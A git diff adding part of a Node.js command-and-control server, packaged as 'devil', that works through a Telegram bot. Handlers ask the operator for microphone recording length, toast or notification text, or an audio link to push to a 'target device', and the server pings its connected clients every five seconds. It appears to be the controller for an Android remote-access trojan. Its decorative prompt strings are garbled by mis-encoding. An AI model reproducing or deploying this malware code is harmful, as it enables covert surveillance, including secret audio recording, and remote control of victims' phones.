+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐ข๐๐๐ง๐ค๐ฅ๐๐ค๐ฃ๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐\n\n' +
+ 'โข ษดแดแดแด แดสแดแด สแดแด แดแด๊ฑแด แดษดแดแดส แดสแด แดษชแดแด ษดแดแดแดสษชแดแดสสส ษชษด แดษดษชแด๊ฑ แด๊ฐ ๊ฑแดแดแดษดแด
๊ฑ',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'toast') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฉ๐๐๐ฉ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐ค๐ฃ ๐ฉ๐๐ ๐ฉ๐๐ง๐๐๐ฉ ๐๐๐ซ๐๐๐\n\n' +
+ 'โข แดแดแด๊ฑแด ษช๊ฑ แด ๊ฑสแดสแด แดแด๊ฑ๊ฑแดษขแด แดสแดแด แดแดแดแดแดส๊ฑ แดษด แดสแด แด
แดแด ษชแดแด ๊ฑแดสแดแดษด ๊ฐแดส แด ๊ฐแดแดก ๊ฑแดแดแดษดแด
๊ฑ',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'show_notification') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐๐จ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ\n\n' +
+ 'โข สแดแดส แดแด๊ฑ๊ฑแดษขแด แดกษชสส สแด แดแดแดแดแดส ษชษด แดแดสษขแดแด แด
แดแด ษชแดแด ๊ฑแดแดแดแด๊ฑ สแดส สษชแดแด สแดษขแดสแดส ษดแดแดษช๊ฐษชแดแดแดษชแดษด',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'play_audio') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐๐ช๐๐๐ค ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐ฅ๐ก๐๐ฎ\n\n' +
+ 'โข ษดแดแดแด แดสแดแด สแดแด แดแด๊ฑแด แดษดแดแดส แดสแด แด
ษชสแดแดแด สษชษดแด แด๊ฐ แดสแด แด
แด๊ฑษชสแดแด
๊ฑแดแดษดแด
, แดแดสแดสแดกษช๊ฑแด แดสแด ๊ฑแดแดษดแด
แดกษชสส ษดแดแด สแด แดสแดสแดแด
',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+});
+setInterval(function () {
+ appSocket.clients.forEach(function each(ws) {
+ ws.send('ping')
+ });
+ try {
+ axios.get(address).then(r => "")
+ } catch (e) {
+ }
+}, 5000)
+appServer.listen(process.env.PORT || 8999);
diff --git a/package.json b/package.json
index 8258d94..718f870 100644
--- a/package.json
+++ b/package.json
@@ -2,12 +2,12 @@
"name": "devil",
"version": "2.0.0",
"description": "",
- "main": "server.js",
+ "main": "index.js",
"engines": {
"node": "16.13.2"
},
"scripts": {
- "start": "node server.js"
+ "start": "node index.js"
},
"keywords": [],
"author": "l",